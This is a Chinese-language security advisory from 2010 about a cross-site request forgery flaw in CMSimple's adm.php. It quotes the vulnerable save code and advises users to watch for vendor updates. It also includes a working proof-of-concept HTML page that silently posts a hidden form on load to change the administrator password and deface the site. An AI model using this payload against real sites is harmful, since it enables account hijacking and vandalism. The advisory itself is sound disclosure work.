安全研究
安全漏洞
CMSimple adm.php页面跨站请求伪造漏洞
发布日期:2010-08-17
更新日期:2010-09-19
受影响系统:
CMSimple CMSimple <= 3.2描述:
CMSimple是基于PHP的小型网站内容管理工具。
CMSimple的/cmsimple/adm.php脚本没有正确地验证HTTP请求的来源,已登录管理用户受骗访问了恶意网页就会导致跨站请求伪造攻击,其他用户可以劫持管理员身份执行各种非授权操作。以下是有漏洞的代码段:
file:cmsimple/adm.php[line 141-180]:
if ($action == 'save') {
if ($form == 'array') {
$text = "<?php\n";
foreach($GLOBALS[$a] as $k1 => $v1) {
if (is_array($v1)) {
foreach($v1 as $k2 => $v2) {
if (!is_array($v2)) {
initvar($k1.'_'.$k2);
$GLOBALS[$a][$k1][$k2] = $GLOBALS[$k1.'_'.$k2];
$GLOBALS[$a][$k1][$k2] = stsl($GLOBALS[$a][$k1][$k2]);
if ($k1.$k2 == 'editorbuttons')$text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']=\''.$GLOBALS[$a][$k1][$k2].'\';';
else $text .= '$'.$a.'[\''.$k1.'\'][\''.$k2.'\']="'.preg_replace("/\"/s", "", $GLOBALS[$a][$k1][$k2]).'";'."\n";
}
}
}
}
$text .= '?>';
}
else $text = rmnl(stsl($text));
if ($fh = @fopen($pth['file'][$file], "w")) {
fwrite($fh, $text);
fclose($fh);
if ($file == 'config' || $file == 'language') {
if (!@include($pth['file'][$file]))e('cntopen', $file, $pth['file'][$file]);
if ($file == 'config') {
$pth['folder']['template'] = $pth['folder']['templates'].$cf['site']['template'].'/';
$pth['file']['template'] = $pth['folder']['template'].'template.htm';
$pth['file']['stylesheet'] = $pth['folder']['template'].'stylesheet.css';
$pth['folder']['menubuttons'] = $pth['folder']['template'].'menu/';
$pth['folder']['templateimages'] = $pth['folder']['template'].'images/';
if (!(preg_match('/\/[A-z]{2}\/[^\/]*/', sv('PHP_SELF')))) {
$sl = $cf['language']['default'];
$pth['file']['language'] = $pth['folder']['language'].$sl.'.php';
if (!@include($pth['file']['language']))die('Language file '.$pth['file']['language'].' missing');
}
}
}
}
else e('cntwriteto', $file, $pth['file'][$file]);
}
<*来源:Abysssec
链接:http://www.exploit-db.com/exploits/15037/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<head>
<title>Change Password and Deface site.</title>
<script>
function creat_request (path,parameter,method) {
method = method || "post";
var remote_dive = document.createElement('div');
remote_dive.id = 'Div_id';
var style = 'border:0;width:0;height:0;';
remote_dive.innerHTML = "<iframe name='iframename' id='iframeid' style='"+style+"'></iframe>";
document.body.appendChild(remote_dive);
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
form.setAttribute("target", "iframename");
for(var key in parameter) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", parameter[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
function bypass(){
creat_request('http://site.com/cmsimple/',{'security_password':'test1','security_type':'page','site_title':'ALERT.','site_template':'default','language_default':'en','meta_keywords':'CMSimple%2C+Content+Management+System%2C+php','meta_description':'CMSimple+is+a+simple+content+management+system+for+smart+maintainance+of+small+commercial+or+private+sites.+It+is+simple+-+small+-+smart%21','backup_numberoffiles':'5','images_maxsize':'150000','downloads_maxsize':'1000000','mailform_email':'','editor_height':'%28screen.availHeight%29-400','editor_external':'','menu_color':'000000','menu_highlightcolor':'808080','menu_levels':'3','menu_levelcatch':'10','menu_sdoc':'','menu_legal':'CMSimple+Legal+Notices','uri_seperator':'%3A','uri_length':'200','xhtml_endtags':'','xhtml_amp':'true','plugins_folder':'','functions_file':'functions.php','scripting_regexp':'%5C%23CMSimple+%28.*%3F%29%5C%23','form':'array','file':'config','action':'save'});
}
</script>
</head>
<body onload="bypass();" >
</body>
</html>
建议:
厂商补丁:
CMSimple
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.cmsimple.dk/
浏览次数:4053
严重程度:0(网友投票)
绿盟科技给您安全的保障
